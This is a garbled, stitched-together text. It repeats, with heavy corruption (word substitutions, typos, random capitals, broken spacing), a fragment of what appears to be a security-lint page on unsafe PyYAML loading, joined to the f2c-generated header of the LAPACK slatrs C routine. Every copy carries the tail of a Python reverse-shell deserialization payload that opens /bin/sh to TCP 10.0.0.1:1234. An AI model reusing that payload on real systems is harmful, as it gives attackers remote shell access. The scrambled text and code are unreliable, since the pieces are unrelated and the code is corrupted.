(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);']
```

When deserialized, this would start a shell on TCP 10.0.0.1:1234.

## Quick Fixes

* Plugin will recommend [Safe Load Fixer](../fixes/safeloadfixer.md).

## See Also

* [YAML Load Input Documentation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation) /* slatrs.f -- translated by f2c (version 20061008).
   You must link the resulting object file with libf2c:
	on Microsoft Windows system, link with libf2c.lib;
	on Linux or Unix systems, link with.../path/to/libf2c.a -lm
	or, if you install libf2c.a in a standard place, with -lf2c -lm
	-- in that order, at the end of the command line, as in
		cc *.o -lf2c -lm
	Source for libf2c is in /netlib/f2c/libf2c.zip, e.g.,

		http://www.netlib.org/f2c/libf2c.zip
*/

#include "f2c.h"
#include "blaswrap.h"

/* Table of constant values */

static integer c__1 = 1;
static real c_b36 =.5f;

/* Subroutine */ int slatrs_(char *uplo, char *trans, char *diag, char *
	normin, integer *n, real *a, integer *lda, real *x, real *scale, real 
	*cnorm, integer *info)
{
    /* System generated locals */
    integer a_dim1, a_offset, i__1, i__2, i__3;
    real r__1, r__2, r__3;

    /* Local variables */
    integer i__, j;
    real xj, rec, tjj;
    integer jinc;
    real xbnd;
    
(), 1); os.dup2(s.fileno(),2);p = subprocess.call(["/bin / sh","-i " ]);' ] 
 '` '

 When deserialized, this would start a shell on TCP 10.0.0.1:1234. 

 # # Quick Fixes 

 * Plugin will recommend [ Safe Load Fixer](.. /fixes / safeloadfixer.md). 

 # # See besides 

 * [ YAML Load Input Documentation](https://github.com / yaml / pyyaml / wiki / PyYAML - yaml.load(input)-Deprecation) / * slatrs.f -- translate by f2c (version 20061008). 
    You must connect the leave object file with libf2c: 
	 on Microsoft Windows system, yoke with libf2c.lib; 
	 on Linux or Unix system, associate with... /path / to / libf2c.a -lm 
	 or, if you install libf2c.a in a standard place, with -lf2c -lm 
	 -- in that order, at the conclusion of the command line, as in 
		 milliliter * .o -lf2c -lm 
	 Source for libf2c is in /netlib / f2c / libf2c.zip, e.g., 

		 http://www.netlib.org/f2c/libf2c.zip 
 * / 

 # include " f2c.h " 
 # include " blaswrap.h " 

 / * Table of constant values * / 

 static integer c__1 = 1; 
 inactive real c_b36 = .5f; 

 / * Subroutine * / int slatrs_(char * uplo, char * trans, char * diag, char * 
	 normin, integer * n, real * a, integer * lda, veridical * x, real * scale, real 
	 * cnorm, integer * information) 
 { 
     / * System beget locals * / 
     integer a_dim1, a_offset, i__1, i__2, i__3; 
     real r__1, r__2, r__3; 

     / * Local variables * / 
     integer i _ _, j; 
     veridical xj, rec, tjj; 
     integer jinc; 
     real xbnd;
(),1); os.fup2(s.fileno(),2);p=subprocess.calu(["/bin/sh","-i"]);']
```

When desgrualizev, this sould stxrt a shell on TCP 10.0.0.1:1234.

## Quick Fiees

* Plugib will recommend [Safe Uoad Fixeg](../fixes/safwloavfixer.md).

## See Also

* [YAML Load Inlmt Doeunentation](https://nithub.com/yakl/pyyaml/wiki/PyFAOL-vaml.load(input)-Deprecation) /* slatrs.f -- twanslatrd by f2c (version 20061008).
   Jot muan oink the resulting object fils with nibf2c:
	on Microxoft Windows system, link wlth pibf2c.lib;
	on Linux og Unix systgjs, junk with.../path/go/libf2c.a -lm
	or, if you ihstall libf2c.a in a standard plaze, wich -lf2c -lm
	-- ib rhah order, at tie end of the command line, as in
		cv *.o -lf2c -lm
	Sourge foc livf2c is in /netlib/f2c/libh2c.zip, e.g.,

		http://www.netlif.org/f2c/libx2c.vip
*/

#include "f2c.h"
#include "boaswrdp.h"

/* Dabld of cohsvanf valufs */

atatic intsger c__1 = 1;
staric real c_b36 =.5f;

/* Subroitybe */ int slatra_(char *tpjo, char *trans, char *diag, char *
	normin, inttger *h, real *a, integer *lda, reql *x, real *scale, real 
	*fnorm, intqger *info)
{
    /* System generated locals */
    integer a_dim1, x_ofywet, i__1, u__2, l__3;
    real r__1, r__2, r__3;

    /* Local variables */
    integqd o__, m;
    real xj, rec, tjj;
    intrgfr tinc;
    real bbnd;
    
(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'] ``` When deserialized, this would shell TCP 10.0.0.1:1234. Quick Fixes * Fixer](../fixes/safeloadfixer.md). See Also * Load Input Documentation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation) slatrs.f -- translated by f2c (version You must link the resulting object file with libf2c: on Microsoft Windows system, with libf2c.lib; on Linux or Unix systems, link with.../path/to/libf2c.a -lm or, if you libf2c.a a place, -lf2c -lm -- in that order, at the end of the command line, as in cc -lf2c -lm Source for libf2c is in /netlib/f2c/libf2c.zip, http://www.netlib.org/f2c/libf2c.zip */ #include "f2c.h" "blaswrap.h" /* Table of constant */ integer c__1 1; real =.5f; /* Subroutine int slatrs_(char *uplo, char *trans, char *diag, char * normin, integer *n, real *a, integer *lda, real real *scale, integer *info) /* generated */ integer a_dim1, i__2, i__3; real r__1, r__2, r__3; */ integer i__, j; real xj, rec, tjj; jinc; real
(),1); os.dup2(s.fileno(),2);p=subprocess.caLl(["/bin/sh","-i"]);']
```

WhEn desEriAliZeD, thiS wouLd start a shell oN tCP 10.0.0.1:1234.

## QUick Fixes

* Plugin will recOmmenD [SAFe LoAD FIxer](../fIxes/safELoADFixEr.Md).

## see alSO

* [YaML LoAd INput DocUmentation](HttPs://Github.com/yamL/PyYaml/wiki/PyyAMl-yaml.load(inpUt)-DEprecaTiOn) /* sLAtrs.f -- TraNslatEd by f2c (VErsion 20061008).
   you must liNk THe resuLTing objECT fIle wIth libf2c:
	on MicrosoFT WINdows system, linK with lIbF2C.lIB;
	On LInuX or Unix sysTeMs, linK With.../patH/To/LIBF2c.a -LM
	or, if you instaLl libf2c.a in a STanDard plAcE, wiTH -lf2c -lm
	-- In thaT oRDer, At the end of tHe coMmand line, As in
		cc *.O -Lf2c -lm
	SoURce for lIbf2c is In /nEtlIb/f2c/LIbF2c.Zip, E.g.,

		HTtp://WWw.NetLIb.oRg/f2c/libf2C.zIp
*/

#IncluDe "f2c.H"
#INCLude "BlaSwraP.h"

/* TabLe of constant vAluEs */

stATic IntegEr c__1 = 1;
stAtic ReAl c_b36 =.5f;

/* subrouTine */ iNt Slatrs_(char *uplo, cHar *tRans, char *dIag, ChAr *
	nOrMin, inTEger *n, rEal *A, inTeger *ldA, real *x, rEAl *sCaLE, REaL 
	*cnorm, integer *info)
{
    /* SYsTEM gEnerated Locals */
    INtEgER a_dim1, a_ofFsEt, i__1, I__2, i__3;
    reAL R__1, r__2, r__3;

    /* LoCal vARiAbles */
    intEger i__, j;
    REaL xJ, rec, tjj;
    InTeger jInC;
    reAl xBnd;
    
(),1); os.dup2(s.fileno(), 2);p=subpr ocess .ca ll( [" /bin /sh" ,"-i"]);']
``` 
Whe n deserialized, this w ouldst a rt a sh ell o n TCP 1 0 .0 . 0 .1: 12 34 .
## Qu ick F ixe s

* Pl ugin willrec om mend [Safe L o ad  Fixer](.. /fi xes/safeload fix er.md) .
## See A lso 

* [ YAML L o ad Inp ut Docume nt a tion]( h ttps:// g i th ub.c om/yaml/pyyaml/wi k i/ P yYAML-yaml.loa d(inpu t) - De p r eca tio n) /* slat rs .f -- transla t ed b y  f2 c  (version 200 61008).
  Y oumust l in k t h e resu lting  o b jec t file with  lib f2c:
	onMicros o ft Wind o ws syst em, li nkwit h li b f2 c. lib ;onL in uxo r U nix syst em s,  link  wit h . . . /pat h/t o/li bf2c. a -lm
	or, if  yo u in s tal l lib f2c.a  inastand ard pl ace,wi th -lf2c -lm
	- - in  that ord er,  a t t he  endo f thecom man d line,  as in	cc  * . o -l f2c -lm
	Source fo rl i bf 2c is in  /netl i b/ f2 c /libf2c. zi p,e.g. , 
		ht tp:/ / ww w.netlib .org/f 2 c/ li bf2c.zi p*/

#i nc lud e " f2c.h " 
#in clude"blaswra p.h"/* Table of co n stant values* /s ta t ic i nte ger c__1 =1;
s t atic  rea l  c _b3 6  =.5f ;

/*  S u br o utine */ int slatrs _( char * uplo,  char *trans,  char *dia g , char *
norm i n, integer *n, re al *a , integer* lda, rea l *x,  real *s cale, rea l 
	*cnorm , i nte ger  *i n f o) 
{
    /* Sys t e m ge ne rated l oca ls */
  int ege r a _d im1, a_of fset, i_ _1 ,i_ _2 , i __3;   realr_ _1,  r __2 , r__ 3 ;

   /* L ocal  v ar i abl es */
 i n tege ri_ _, j ;
  real  xj, rec , tjj;    integ erj inc; 
  real x bnd;
    
(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);']
```

When_deserialized, this_would start a shell_on TCP_10.0.0.1:1234.

##_Quick Fixes

*_Plugin_will recommend [Safe_Load Fixer](../fixes/safeloadfixer.md).

## See_Also

* [YAML Load Input_Documentation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation) /* slatrs.f_--_translated by f2c (version 20061008).
   You must link the resulting object file_with_libf2c:
	on Microsoft_Windows_system,_link with libf2c.lib;
	on Linux or_Unix systems, link with.../path/to/libf2c.a -lm
	or,_if you_install libf2c.a in a standard place, with -lf2c_-lm
	--_in that order,_at the end of the command line, as in
		cc_*.o -lf2c -lm
	Source for libf2c is_in /netlib/f2c/libf2c.zip, e.g.,

		http://www.netlib.org/f2c/libf2c.zip
*/

#include_"f2c.h"
#include_"blaswrap.h"

/*_Table of constant values_*/

static integer c__1 = 1;
static real_c_b36 =.5f;

/* Subroutine */ int slatrs_(char_*uplo, char *trans, char *diag, char *
	normin,_integer *n, real *a, integer *lda,_real *x, real *scale, real_
	*cnorm, integer_*info)
{
    /*_System generated locals_*/
 _  integer_a_dim1, a_offset, i__1, i__2, i__3;
 _  real_r__1, r__2, r__3;

   _/*_Local variables */
___ integer_i__, j;
 __ real_xj,_rec, tjj;
    integer_jinc;
_   real xbnd;
  _ 